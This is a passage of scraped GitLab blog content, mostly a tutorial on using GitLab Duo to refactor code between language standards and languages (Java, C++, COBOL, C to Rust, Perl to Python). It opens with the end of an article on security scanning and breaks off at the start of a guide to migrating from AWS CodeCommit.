- component: $CI_SERVER_FQDN/components/secret-detection/secret-detection@1.1.2\n  - component: $CI_SERVER_FQDN/components/container-scanning/container-scanning@4.1.0\n\nbuild-job:\n  stage: build\n  script: echo \"Building the container image\"\n\ntest-job:\n  stage: test\n  script: echo \"Running unit tests\"\n\ndeploy-job:\n  stage: deploy\n  script: echo \"Deploying app\"\n```\n\nThe image below shows a slightly more complete pipeline than the mock pipeline above:\n\n![More complete pipeline](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097984/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097983866.png)\n\n**Note:** This doesn't currently work with SEPs.\n\nHowever, the existence of a Dockerfile may not always be a valid indicator, as developers might be building without Dockerfiles using Cloud Native Buildpacks, Heroku Buildpacks, Kaniko, or other tools. Managed pipelines do not encounter this challenge, as they are more controlled and centralized.\n\n\u003C!-- TOC ignore:true -->\n### Projects with multiple container images\nFor projects that produce multiple container images, several container scanning jobs would be necessary for proper coverage. This raises similar questions as before: \"How do we know there are multiple?\" and \"Is the source of that information trustworthy?\". If we wanted to rely on the existence of `Dockerfile`s a [dynamic approach](https://docs.gitlab.com/ee/ci/pipelines/downstream_pipelines.html#dynamic-child-pipelines) would be necessary that includes a container scanning job for each `Dockerfile` detected.\n\n## Get started with security scanning\nIn this article, you've learned about a variety of approaches to adding security scanning to CI/CD pipelines with a close look at ease of use, customizability, and the ability to strictly enforce scanning. You've seen that a pipeline author who is held responsible for project compliance needs to keep a few things in mind during the process to avoid surprises down the line. We recommend building a small testing space on your GitLab instance and then run a few tests to reproduce the main points of this article. Put yourself in the shoes of a malicious Sacha (Sachas aren't generally malicious people, but it's a good exercise) and think about how you could fool that annoying Amy and her security scans.\n\nGitLab provides strong support for all sorts of requirements and all approaches are – at least in our eyes – easy to implement due the platform's baked-in functionality. You should find ways to bulletproof your scan jobs and, if not, you should open a ticket with our support. \n\nHappy pipelining!\n\n> #### Get started with security scanning today!\n> [Sign up for a free 30-day trial of GitLab Ultimate](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial) to implement security scanning in your software development lifecycle.\n\n## Read more\n\n- [Meet regulatory standards with GitLab security and compliance](https://about.gitlab.com/blog/meet-regulatory-standards-with-gitlab/)\n- [How to integrate custom security scanners into GitLab](https://about.gitlab.com/blog/how-to-integrate-custom-security-scanners-into-gitlab/)\n- [Integrate external security scanners into your DevSecOps workflow](https://about.gitlab.com/blog/integrate-external-security-scanners-into-your-devsecops-workflow/)\n",[674,696,110],{"slug":4794,"featured":92,"template":678},"how-to-choose-the-right-security-scanning-approach","content:en-us:blog:how-to-choose-the-right-security-scanning-approach.yml","How To Choose The Right Security Scanning Approach","en-us/blog/how-to-choose-the-right-security-scanning-approach.yml","en-us/blog/how-to-choose-the-right-security-scanning-approach",{"_path":4800,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4801,"content":4806,"config":4811,"_id":4813,"_type":16,"title":4814,"_source":17,"_file":4815,"_stem":4816,"_extension":20},"/en-us/blog/refactor-code-into-modern-languages-with-ai-powered-gitlab-duo",{"title":4802,"description":4803,"ogTitle":4802,"ogDescription":4803,"noIndex":6,"ogImage":1597,"ogUrl":4804,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4804,"schema":4805},"Refactor code into modern languages with AI-powered GitLab Duo ","This detailed tutorial helps developers use AI to modernize code by switching to a new programming language and gain knowledge about new features in the same language.","https://about.gitlab.com/blog/refactor-code-into-modern-languages-with-ai-powered-gitlab-duo","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Refactor code into modern languages with AI-powered GitLab Duo \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Friedrich\"}],\n        \"datePublished\": \"2024-08-26\",\n      }",{"title":4802,"description":4803,"authors":4807,"heroImage":1597,"date":4790,"body":4809,"category":791,"tags":4810},[4808],"Michael Friedrich","Whether you are tasked with modernizing the code base or framework by switching to a new programming language, or you need knowledge about new language features in the same language, AI-powered [GitLab Duo](https://about.gitlab.com/gitlab-duo/) can help. Learn how to approach code refactoring challenges with best practices using examples from the past 20 years of my coding career. \n\nThe prompts and examples in this article are shown in different IDEs: VS Code and JetBrains IDEs (IntelliJ IDEA, PyCharm, and CLion) with the [GitLab Duo extensions/plugins](https://docs.gitlab.com/ee/user/project/repository/code_suggestions/supported_extensions.html) installed. The development environment uses GitLab.com, including updates to Anthropic Claude 3.5 as Large Language Model (LLM) for GitLab Duo [Code Suggestions](https://docs.gitlab.com/ee/user/gitlab_duo/#code-suggestions) and [Chat](https://docs.gitlab.com/ee/user/gitlab_duo/#gitlab-duo-chat). Spoiler: They are even more powerful and efficient.\n\nYou can navigate into each section of the article, or read top-down. The source code and challenges with exercises are provided for self-learning, too.\n\n- [Refactor code to modern programming language standards](#refactor-code-to-modern-programming-language-standards)\n    - [Generate Java 7 and refactor to Java 8](#generate-java-7-and-refactor-to-java-8)\n    - [Refactor across C++ standards](#refactor-across-c%2B%2B-standards)\n        - [Migration: Refactor C++03 into C++14](#migration-refactor-c%2B%2B03-into-c%2B%2B14)\n        - [Downgrade: Refactor C++23 to C++11](#downgrade-refactor-c%2B%2B23-to-c%2B%2B11)\n    - [Explain and refactor COBOL](#explain-and-refactor-cobol)\n- [Refactor a language into another language](#refactor-a-language-into-another-language)\n    - [Refactor C to Rust](#refactor-c-to-rust)\n    - [Refactor Perl to Python](#refactor-perl-to-python)\n- [More refactoring hands-on](#more-refactoring-hands-on)\n    - [Refactor JavaScript](#refactor-javascript)\n    - [Refactor Bash to ZSH or SH](#refactor-bash-to-zsh-or-sh)\n    - [More use cases and tutorials](#more-use-cases-and-tutorials)\n- [Key takeaways](#key-takeaways)\n\n## Refactor code to modern programming language standards\n\nThe next sections show how to refactor, explain, and understand the language specific differences in a defined programming language. \n\n### Generate Java 7 and refactor to Java 8 \n\nA customer wanted to know if GitLab Duo supports Java 7. While testing the Code Suggestions and Chat prompts to generate Java 7 specific code, I also thought of migration help. Anthropic Claude 3.5 is capable of understanding the language-specific differences, and so is GitLab Duo.\n\nThe following example shows a prompt to generate Java 7 code with Code Suggestions.\n\n```java\n// Generate a new class for a File Manager. Use Java 7 features only.\nimport java.io.*;\nimport java.nio.file.*;\nimport java.util.*;\n\npublic class FileManager {\n    private Path rootDirectory;\n\n    public FileManager(String rootPath) throws IOException {\n        this.rootDirectory = Paths.get(rootPath);\n        if (!Files.exists(rootDirectory)) {\n            Files.createDirectories(rootDirectory);\n        }\n    }\n\n    public void createFile(String fileName, String content) throws IOException {\n        Path filePath = rootDirectory.resolve(fileName);\n        Files.write(filePath, content.getBytes(), StandardOpenOption.CREATE, StandardOpenOption.TRUNCATE_EXISTING);\n    }\n\n    public String readFile(String fileName) throws IOException {\n        Path filePath = rootDirectory.resolve(fileName);\n        return new String(Files.readAllBytes(filePath));\n    }\n\n    public void deleteFile(String fileName) throws IOException {\n        Path filePath = rootDirectory.resolve(fileName);\n        Files.delete(filePath);\n    }\n\n    public List\u003CString> listFiles() throws IOException {\n        List\u003CString> fileList = new ArrayList\u003C>();\n        try (DirectoryStream\u003CPath> stream = Files.newDirectoryStream(rootDirectory)) {\n            for (Path file : stream) {\n                fileList.add(file.getFileName().toString());\n            }\n        }\n        return fileList;\n    }\n\n    public void copyFile(String sourceFileName, String destinationFileName) throws IOException {\n        Path sourcePath = rootDirectory.resolve(sourceFileName);\n        Path destinationPath = rootDirectory.resolve(destinationFileName);\n        Files.copy(sourcePath, destinationPath, StandardCopyOption.REPLACE_EXISTING);\n    }\n\n    public void moveFile(String sourceFileName, String destinationFileName) throws IOException {\n        Path sourcePath = rootDirectory.resolve(sourceFileName);\n        Path destinationPath = rootDirectory.resolve(destinationFileName);\n        Files.move(sourcePath, destinationPath, StandardCopyOption.REPLACE_EXISTING);\n    }\n\n    public long getFileSize(String fileName) throws IOException {\n        Path filePath = rootDirectory.resolve(fileName);\n        return Files.size(filePath);\n    }\n\n    public boolean fileExists(String fileName) {\n        Path filePath = rootDirectory.resolve(fileName);\n        return Files.exists(filePath);\n    }\n}\n```\n\nYou can continue with the following steps in your IDE:\n\n1. Learn and understand the generated code: Select the code in the editor (blue color in the screenshot), switch into GitLab Duo Chat and send the `/explain` slash command as prompt.\n\n![Validate the generated code with the `/explain` slash command in GitLab Duo Chat](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675059/Blog/Content%20Images/intellij_java7_generate_refactor.png)\n\n2. Refactor the Java 7 code into Java 8: Select the code in the editor, switch into Chat, and send `/refactor using Java 8 features` as refined prompt.\n3. Practice an alternative to refactoring: Create a new file `java8.java` and generate Java 8 specific code using Code Suggestions with the prompt `// Generate a new class for a File Manager. Use Java 8 features only.`.\n4. Continue writing Java 8 code in the same context with AI-powered code completions.\n\nYou can watch all steps in this recording.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/XKRv6uBkD2I\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nThe source code is available in the [GitLab Duo Challenge - Generate and refactor Java 7 to 8 project](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/code-challenges/challenge-generate-refactor-java-7-to-8).\n\n### Refactor across C++ standards\n\nThe C++ standard has a long history and can be considered stable and mature. Depending on the target architecture and platforms, the supported standard depends on the compiler on the host operating system.\n\nIn my career, I needed to support 25 different Linux and Windows distributions in open source projects, and have seen varying compiler support for newer language features and C++ standards. In 2015, we settled on C++11 features, and later never touched based on C++14 or C++17. \n\nRefactoring functions and algorithms to a new C++ standard would have required too much effort, and help explaining the differences was needed. Back then, we researched through books, online search, Stack Overflow, and sometimes tools assistance for refactoring.\n\nThings have changed with AI-powered assistants and GitLab Duo: You can instruct Code Suggestions and Chat to provide source code in a specific C++ standard. Then, it is also possible to compare the different outputs. \n\nThe following example uses a prompt to specifically generate source code for the C++03 standard. It implements a simple config parser for the `.ini` configuration format.\n\n```c++\n/* Create a config parser which can parse an ini format\nUse C++03 standard only\n */\n\n#include \u003Ciostream>\n#include \u003Cfstream>\n#include \u003Cstring>\n#include \u003Cmap>\n#include \u003Csstream>\n\nclass ConfigParser {\nprivate:\n    std::map\u003Cstd::string, std::map\u003Cstd::string, std::string> > config;\n\npublic:\n    ConfigParser() {}\n\n    bool parse(const std::string& filename) {\n        std::ifstream file(filename.c_str());\n        if (!file.is_open()) {\n            return false;\n        }\n\n        std::string line;\n        std::string currentSection;\n\n        while (std::getline(file, line)) {\n            // Trim whitespace\n            size_t first = line.find_first_not_of(\" \\t\");\n            size_t last = line.find_last_not_of(\" \\t\");\n            if (first == std::string::npos) continue; // Skip empty lines\n            line = line.substr(first, (last - first + 1));\n\n            if (line[0] == '[' && line[line.length() - 1] == ']') {\n                // This is a section\n                currentSection = line.substr(1, line.length() - 2);\n            } else {\n                // This is a key-value pair\n                size_t delimiterPos = line.find('=');\n                if (delimiterPos != std::string::npos) {\n                    std::string key = line.substr(0, delimiterPos);\n                    std::string value = line.substr(delimiterPos + 1);\n                    config[currentSection][key] = value;\n                }\n            }\n        }\n\n        file.close();\n        return true;\n    }\n\n    std::string getValue(const std::string& section, const std::string& key) const {\n        std::map\u003Cstd::string, std::map\u003Cstd::string, std::string> >::const_iterator sectionIt = config.find(section);\n        if (sectionIt != config.end()) {\n            std::map\u003Cstd::string, std::string>::const_iterator keyIt = sectionIt->second.find(key);\n            if (keyIt != sectionIt->second.end()) {\n                return keyIt->second;\n            }\n        }\n        return \"\";\n    }\n\n    void printConfig() const {\n        std::map\u003Cstd::string, std::map\u003Cstd::string, std::string> >::const_iterator sectionIt;\n        for (sectionIt = config.begin(); sectionIt != config.end(); ++sectionIt) {\n            std::cout \u003C\u003C \"[\" \u003C\u003C sectionIt->first \u003C\u003C \"]\" \u003C\u003C std::endl;\n            std::map\u003Cstd::string, std::string>::const_iterator keyIt;\n            for (keyIt = sectionIt->second.begin(); keyIt != sectionIt->second.end(); ++keyIt) {\n                std::cout \u003C\u003C keyIt->first \u003C\u003C \" = \" \u003C\u003C keyIt->second \u003C\u003C std::endl;\n            }\n            std::cout \u003C\u003C std::endl;\n        }\n    }\n};\n\nint main() {\n    ConfigParser parser;\n    if (parser.parse(\"config.ini\")) {\n        std::cout \u003C\u003C \"Config file parsed successfully.\" \u003C\u003C std::endl;\n        parser.printConfig();\n\n        std::cout \u003C\u003C \"Value of 'key1' in 'section1': \" \u003C\u003C parser.getValue(\"section1\", \"key1\") \u003C\u003C std::endl;\n    } else {\n        std::cout \u003C\u003C \"Failed to parse config file.\" \u003C\u003C std::endl;\n    }\n    return 0;\n}\n```\n\nThe same prompts can be applied to [explaining code](https://docs.gitlab.com/ee/user/gitlab_duo_chat/examples.html#explain-code-in-the-ide), [generating tests](https://docs.gitlab.com/ee/user/gitlab_duo_chat/examples.html#write-tests-in-the-ide), and even [refactoring code](https://docs.gitlab.com/ee/user/gitlab_duo_chat/examples.html#refactor-code-in-the-ide): `/explain focus on C++03 features`, `/tests for C++03 features`, `/refactor into C++03`. \n\nThe following C++ standards have been tested working with GitLab Duo Code Suggestions:\n\n- C++03\n- C++11\n- C++14\n- C++17\n- C++20\n- C++23\n\nYou can find the source code in the [Challenge - Refactor Cpp Standards Config Parser project](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/code-challenges/challenge-refactor-cpp-standards-config-parser). \n\nThere are many different combinations to refactor source code between the C++ standards. The following examples reflect on modernizing the C++ code with version upgrades, but also test a downgrade where ambitious developers wanted to use C++20 but had to use C++11 to support enterprise customer environments.\n\n#### Migration: Refactor C++03 into C++14 \n\nThe goal is to modernize the code, and understand the changes between C++03 and C++14. Open the [03.cpp](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/code-challenges/challenge-refactor-cpp-standards-config-parser/-/blob/main/03.cpp?ref_type=heads) source code in the IDE, select it, and use the following Chat prompt: \n\n```markdown\n/refactor into C++14 and explain the changes\n```\n\nPotential Chat response: \n\n```markdown\n…\n\nExplanations of the changes:\n\n1. Default constructor: Changed `ConfigParser() {}` to `ConfigParser() = default;` to use the default constructor.\n2. File opening: Removed `.c_str()` when opening the file, as C++11 and later support `std::string` directly.\n3. Lambda functions: Introduced a lambda function trim to handle string trimming, making the code more readable and reusable.\n4. Auto keyword: Used `auto` for type deduction in various places, improving code readability.\n5. Range-based for loops: In the `printConfig` method, replaced traditional for loops with range-based for loops, which are more concise and less error-prone.\n6. Structured bindings: Used structured bindings in the range-based for loops to directly access key-value pairs.\n7. If statements with initializers: In the `getValue` method, used if statements with initializers to combine the find operation and the check in a single line.\n8. String member functions: Used `front()` and `back()` instead of array-style access for the first and last characters of strings.\n9. Uniform initialization: Used uniform initialization `{}` instead of parentheses `()` for object creation.\n10. Removed `std::endl`: Replaced `std::endl` with `'\\n'` for better performance, as `std::endl` forces a flush of the output buffer.\n\nThese changes make the code more modern, concise, and potentially more efficient while maintaining the same functionality.\n\n```\n\n![Changes reflected in code](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675059/Blog/Content%20Images/duo_refactor_cpp_clion_chat_cpp03_to_14_01.png)\n\n![Changes reflected in code 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675060/Blog/Content%20Images/duo_refactor_cpp_clion_chat_cpp03_to_14_02.png)\n\n#### Downgrade: Refactor C++23 to C++11\n\nSometimes, developers started a new feature proof-of-concept in a modern C++ standard like C++20. The actual supported versions for enterprise customer environments require older compilers with C++11 support. Downgrading the versions come at a cost, and require evaluating which language features are still supported, and which other disadvantages could come across.\n\nOpen the [23.cpp](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/code-challenges/challenge-refactor-cpp-standards-config-parser/-/blob/main/23.cpp?ref_type=heads) source code in the IDE, select it, and use the following Chat prompt: \n\n```markdown\n/refactor into C++11, explain the necessary changes and potential problems\n```\n\nPotential Duo Chat response: \n\n```markdown\nThe main changes required to make this code compatible with C++11 are:\n\n1. Remove the C++23 standard comment, as it's no longer applicable.\n2. Replace `std::string::find_first_not_of` and `std::string::find_last_not_of` with C++11 compatible alternatives in the trim function.\n3. Use `const auto&` instead of `auto` for loop variables to avoid unnecessary copying.\n\nPotential problems in the original code:\n\n1. The original code used C++23 features, which might not be widely supported yet.\n2. The `trim` function used `std::string::find_first_not_of` and `std::string::find_last_not_of`, which are not available in C++11.\n3. The use of `auto` instead of `const auto&` in some loops could lead to unnecessary copying of complex objects.\n\nThese issues have been addressed in the refactored version. The `trim` function now uses `std::find_if_not` with lambda functions to achieve the same result in a C++11 compatible way. The use of `const auto&` ensures that no unnecessary copying occurs when iterating over the config map.\n```\n\n![The `trim` function now uses `std::find_if_not` with lambda functions to achieve the same result in a C++11 compatible way](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675059/Blog/Content%20Images/duo_refactor_cpp_clion_chat_cpp23_to_11_01.png)\n\n![The use of `const auto&` ensures that no unnecessary copying occurs when iterating over the config map](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675059/Blog/Content%20Images/duo_refactor_cpp_clion_chat_cpp23_to_11_02.png)\n\n**Async practice**: Test more version refactoring scenarios.\n\n### Explain and refactor COBOL\n\nYou can use GitLab Duo to explain the source code, analyze, fix and refactor for COBOL programs. I have never written nor learned COBOL, and found this helpful [COBOL Programming Course](https://github.com/openmainframeproject/cobol-programming-course) with many examples.\n\nI then asked Chat how to get started with COBOL, create a COBOL program, and compile a COBOL program on macOS.\n\n```markdown\nPlease explain what COBOL is and its syntax\n\nPlease create a COBOL program that shows the first steps\n\nTell me more about the COBOL compiler. Which system do I need? Can I do it on my macOS?\n\n```\n\n![Asking GitLab Duo Chat to explain and its syntax](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675059/Blog/Content%20Images/vscode_chat_cobol_generate_example.png)\n\nOpen a COBOL program, select the source code, switch to Duo Chat and send the `/explain` prompt to explain purpose and functionality.\n\nYou can also refine the prompts to get more high-level summaries, for example:\n\n```markdown \n/explain like I am five\n```\n\n> Tip: Programming languages share similar algorithms and functionality. For COBOL, Chat offered to explain it using Python, and, therefore, I adjusted future prompts to ask for an explanation in Python.\n\n```markdown\n/explain in a different programming language\n```\n\nYou can also use the `/refactor` slash command prompt in Chat to improve the code quality, fix potential problems, and try to refactor COBOL into Python.\n\n```markdown\n/refactor fix the environment error\n\n/refactor fix potential problems\n\n/refactor into Python\n```\n\nThe [GitLab Duo Coffee Chat - Challenge: Explain and Refactor COBOL programs](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/code-challenges/challenge-explain-refactor-cobol-program) recording shows all discussed steps in a practical use case, including how to find a missing period: \n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/pwlDmLQMMPo\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Refactor a language into another language\n\nModernization and code quality improvements sometimes require the change of a programming language. Similar refactor prompts with GitLab Duo can help speed up the migration process. The COBOL example with Python is just one of many requirements in enterprise environments -- let's dive into more use cases.\n\n### Refactor C to Rust \n\nIn early 2024, several programming languages, like C, have been called out for not being memory safe. The recommendations for future projects include [memory safe languages](https://about.gitlab.com/blog/memory-safe-vs-unsafe/) like Rust. But how do you start a migration, and what are the challenges?\n\nLet's try it with a simple example in C. The code was generated using Code Suggestions and should print the basic operating system information, like the name, version, and platform. The C code compiles cross-platform on Windows, Linux, and macOS.\n\n```c\n// Read OS files to identify the platform, name, versions\n// Print them on the terminal\n#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n#include \u003Cstring.h>\n\n#ifdef _WIN32\n    #include \u003Cwindows.h>\n#elif __APPLE__\n    #include \u003Csys/utsname.h>\n#else\n    #include \u003Csys/utsname.h>\n#endif\n\nvoid get_os_info() {\n    #ifdef _WIN32\n        OSVERSIONINFOEX info;\n        ZeroMemory(&info, sizeof(OSVERSIONINFOEX));\n        info.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);\n        GetVersionEx((OSVERSIONINFO*)&info);\n\n        printf(\"Platform: Windows\\n\");\n        printf(\"Version: %d.%d\\n\", info.dwMajorVersion, info.dwMinorVersion);\n        printf(\"Build: %d\\n\", info.dwBuildNumber);\n    #elif __APPLE__\n        struct utsname sys_info;\n        uname(&sys_info);\n\n        printf(\"Platform: macOS\\n\");\n        printf(\"Name: %s\\n\", sys_info.sysname);\n        printf(\"Version: %s\\n\", sys_info.release);\n    #else\n        struct utsname sys_info;\n        uname(&sys_info);\n\n        printf(\"Platform: %s\\n\", sys_info.sysname);\n        printf(\"Name: %s\\n\", sys_info.nodename);\n        printf(\"Version: %s\\n\", sys_info.release);\n    #endif\n}\n\nint main() {\n    get_os_info();\n    return 0;\n}\n```\n\nOpen the source code in [`os.c`](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/code-challenges/challenge-refactor-c-to-rust/-/blob/897bf57a14bb7be07d842e7f044f93a61456d611/c/os.c) in JetBrains CLion, for example. Select the source code and use the Chat prompt `/explain` to explain purpose and functionality. Next, use `/refactor` in the Chat prompt to refactor the C code, and then take it one step further: `/refactor into Rust`. \n\nInitialize a new Rust project (Tip: Ask Duo Chat), and copy the generated source code into the `src/main.rs` file. Run `cargo build` to compile the code. \n\n![Initialize a new Rust project, and copy the generated source code into the `src/main.rs` file. Run `cargo build` to compile the code.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675059/Blog/Content%20Images/jetbrains_clion_c_rust.png)\n\nIn the [GitLab Duo Coffee Chat: Challenge - Refactor C into Rust](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/code-challenges/challenge-refactor-c-to-rust) recording, you can learn all steps, and additionally, you'll see a compilation error which gets fixed with the help of Chat and `/refactor` slash command. The session also shows how to improve the maintanability of the new Rust code by adding more error handling. \n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/nf8g2ucqvkI\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Refactor Perl to Python \n\nThat one script that runs on production servers, does its job, the author left the company ten years ago, and nobody wants to touch it. The problem might also apply to multiple scripts, or even a whole application. A decision was made to migrate everything to modern Python 3, with the goal to modernize the code, and understand the changes between Perl and Python.\n\nA customer recently asked in a GitLab Duo workshop whether a direct migration is possible using GitLab Duo. Short answer: Yes, it is. Longer answer: You can use refined Chat prompts to refactor Perl code into Python, similar to other examples in this article.\n\nOpen the `script.pl` source code in IDE, select it, and open Chat.\n\n```perl\n#!/usr/bin/perl\nuse strict;\nuse warnings;\n\nopen my $md_fh, '\u003C', 'file.md' or die \"Could not open file.md: $!\";\n\nmy $l = 0;\nmy $e = 0;\nmy $h = 0;\n\nwhile (my $line = \u003C$md_fh>) {\n  $l++;\n  if ($line =~ /^\\s*$/) {\n    $e++;\n    next;\n  }\n  if ($line =~ /^#+\\s*(.+)/) {\n    print \"$1\\n\";\n    $h++; \n  }\n}\n\nprint \"\\nS:\\n\"; \nprint \"L: $l\\n\";\nprint \"E: $e\\n\"; \nprint \"H: $h\\n\";\n```\n\nYou can use the following prompts to:\n\n1. `/explain` its purpose, and `/refactor` to improve the code.\n2. `/refactor into Python` to get a working Python script.\n\n![Refactor into Python](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675059/Blog/Content%20Images/pycharm_duo_refactor_perl_python.png)\n\n> Tip: You can refactor Perl code into more target languages. The [GitLab Duo Coffee Chat: Challenge - Refactor Perl to Python](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/code-challenges/challenge-refactor-perl-python) recording shows PHP, Ruby, Rust, Go, Java, VB.NET, C#, and more.\n> \n> If you want to continue using Perl scripts, you can configure [Perl as additional language](https://docs.gitlab.com/ee/user/project/repository/code_suggestions/supported_extensions.html#add-support-for-more-languages) in Duo Code Suggestions. Chat already understands Perl and can help with questions and slash command prompts, as you can see in the following recording.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/03HGhxXg9lw\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## More Refactoring Hands-on \n\n### Refactor JavaScript \n\nEddie Jaoude shows how to refactor JavaScript to improve code quality or add functionality in a practical example. \n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/mHn8KOzpPNY\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Refactor Bash to ZSH or SH\n\nI have used Bash as a shell for 20 years and most recently switched to ZSH on macOS. This resulted in script not working, or unknown errors in my terminal. Another use case for refactoring are shell limitations – some operating systems or Linux/Unix distributions do not provide Bash, only SH, for example, Alpine.\n\n![Refactor shell scripts](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675059/Blog/Content%20Images/intellj_refactor_shell_scripts.png)\n\nThe [GitLab Duo Coffee Chat: Challenge - Refactor Shell Scripts](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/code-challenges/challenge-refactor-shell-scripts) shows an example with a C program that can tail syslog files, and a build script written in Bash. Throughout the challenge, Chat is queried with `/explain` and `/refactor` prompts to improve the code. It is also possible to refactor Bash into POSIX-compliant SH or ZSH. The session concludes with asking Chat to provide five different Shell script implementations, and explain the key summaries. \n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/mssqYjlKGzU\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### More use cases and tutorials\n\n- [Documentation: GitLab Duo use cases](https://docs.gitlab.com/ee/user/gitlab_duo/use_cases.html)\n- [Tutorial: Top tips for efficient AI-powered code suggestions with GitLab Duo](https://about.gitlab.com/blog/top-tips-for-efficient-ai-powered-code-suggestions-with-gitlab-duo/)\n- [Tutorial: 10 best practices for using AI-powered GitLab Duo Chat](https://about.gitlab.com/blog/10-best-practices-for-using-ai-powered-gitlab-duo-chat/)\n\n## Key takeaways \n\n1. GitLab Duo provides efficient help with explaining and refactoring code. \n1. You can refactor code between language standards, and ask follow-up questions in Chat.\n1. Code Suggestions prompts can generate specific language standards, and code completion respects the current code context. \n1. Refactoring code into new programming languages helps with longer term migration and modernization plans.\n1. Code can be \"downgraded\" into older system's supported language standards.\n1. GitLab Duo can explain complex code and programming languages with different programming language examples.\n1. The update to Anthropic Claude 3.5 on GitLab.com has improved the quality and speed of Code Suggestions and Chat once again (self-managed upgrade to 17.3 recommended).\n1. There are no boundaries except your imagination, and production pain points.\n\nLearn more about efficient Code Suggestions and Chat workflows, and start your AI-powered code refactoring journey with GitLab Duo today!\n\n> [Start your 60-day free trial of GitLab Duo!](https://about.gitlab.com/solutions/gitlab-duo-pro/sales/?type=free-trial&toggle=gitlab-duo-pro_)\n",[790,696,943],{"slug":4812,"featured":6,"template":678},"refactor-code-into-modern-languages-with-ai-powered-gitlab-duo","content:en-us:blog:refactor-code-into-modern-languages-with-ai-powered-gitlab-duo.yml","Refactor Code Into Modern Languages With Ai Powered Gitlab Duo","en-us/blog/refactor-code-into-modern-languages-with-ai-powered-gitlab-duo.yml","en-us/blog/refactor-code-into-modern-languages-with-ai-powered-gitlab-duo",{"_path":4818,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4819,"content":4825,"config":4830,"_id":4832,"_type":16,"title":4833,"_source":17,"_file":4834,"_stem":4835,"_extension":20},"/en-us/blog/ultimate-guide-to-migrating-from-aws-codecommit-to-gitlab",{"title":4820,"description":4821,"ogTitle":4820,"ogDescription":4821,"noIndex":6,"ogImage":4822,"ogUrl":4823,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4823,"schema":4824},"Ultimate guide to migrating from AWS CodeCommit to GitLab","Learn how to migrate from AWS Services to GitLab and seamlessly integrate with the DevSecOps platform in this comprehensive tutorial.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097810/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2828%29_4mi0l4wzUa5VI4wtf8gInx_1750097810027.png","https://about.gitlab.com/blog/ultimate-guide-to-migrating-from-aws-codecommit-to-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Ultimate guide to migrating from AWS CodeCommit to GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tsukasa Komatsubara\"},{\"@type\":\"Person\",\"name\":\"Darwin Sanoy\"},{\"@type\":\"Person\",\"name\":\"Samer Akkoub\"},{\"@type\":\"Person\",\"name\":\"Bart Zhang\"}],\n        \"datePublished\": \"2024-08-26\",\n      }",{"title":4820,"description":4821,"authors":4826,"heroImage":4822,"date":4790,"body":4828,"category":695,"tags":4829},[4749,1244,4242,4827],"Bart Zhang","On July 25, 2024, AWS made a significant announcement regarding its CodeCommit service. As detailed in their [official blog post](https://aws.amazon.com/blogs/devops/how-to-migrate-your-aws-codecommit-repository-to-another-git-provider/), AWS has decided to close new customer access to CodeCommit. While existing customers can continue using the service, AWS will not introduce new features, focusing only on security, availability, and performance improvements.\n\nThis announcement has prompted development teams to consider migrating their repositories to alternative Git providers. In light of these changes, we've prepared this comprehensive guide to assist teams in migrating to GitLab and 